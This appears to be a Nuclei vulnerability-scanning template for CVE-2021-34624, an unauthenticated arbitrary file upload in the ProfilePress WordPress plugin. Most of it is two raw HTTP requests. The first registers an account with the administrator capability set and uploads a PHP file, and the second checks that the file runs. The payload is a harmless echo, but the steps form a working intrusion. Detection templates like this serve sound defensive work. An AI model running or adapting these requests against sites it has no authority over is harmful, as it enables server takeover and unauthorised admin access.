WordPress ProfilePress 3.0-3.1.3 - Arbitrary File Upload

id: CVE-2021-34624

info:
  name: WordPress ProfilePress 3.0-3.1.3 - Arbitrary File Upload
  author: Sourabh-Sahu
  severity: critical
  description: |
    A vulnerability in the file uploader component found in the ~/src/Classes/FileUploader.php file of the ProfilePress WordPress plugin made it possible for users to upload arbitrary files during user registration or during profile updates. This issue affects versions 3.0.0 - 3.1.3.
  impact: |
    Unauthenticated attackers can upload arbitrary files including PHP files during registration, achieving remote code execution and complete server compromise.
  remediation: Update to ProfilePress version 3.1.4 or later
  reference:
    - https://wpscan.com/vulnerability/e12448ec-84a0-46aa-b280-5d9a80ee1e41/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-34624
    cwe-id: CWE-434
    epss-score: 0.07841
    epss-percentile: 0.94728
    cpe: cpe:2.3:a:properfraction:profilepress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: properfraction
    product: profilepress
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-user-avatar/"
    publicwww-query: "/wp-content/plugins/wp-user-avatar/"
    shodan-query: http.component:"profilepress"
  tags: cve,cve2021,wordpress,wp-plugin,wp,wpscan,wp-user-avatar,profilepress,rce,file-upload,unauth,intrusive,vkev,vuln

variables:
  username: "{{rand_base(6)}}"
  password: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  firstname: "{{rand_base(5)}}"
  lastname: "{{rand_base(5)}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"
  string: "CVE-2021-34624"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="action"

        pp_ajax_signup
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="reg_username"

        {{username}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="reg_email"

        {{email}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="reg_password"

        {{password}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="reg_password_present"

        true
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="reg_first_name"

        {{firstname}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="reg_last_name"

        {{lastname}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="wp_capabilities[administrator]"

        1
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="files"; filename="{{filename}}.php"
        Content-Type: application/x-php

        <?php echo "{{string}}"; ?>
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

      - |
        GET /wp-content/uploads/pp-files/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_2, "{{string}}")'
          - 'contains(content_type_2, "text/html")'
          - 'status_code_2 == 200'
        condition: and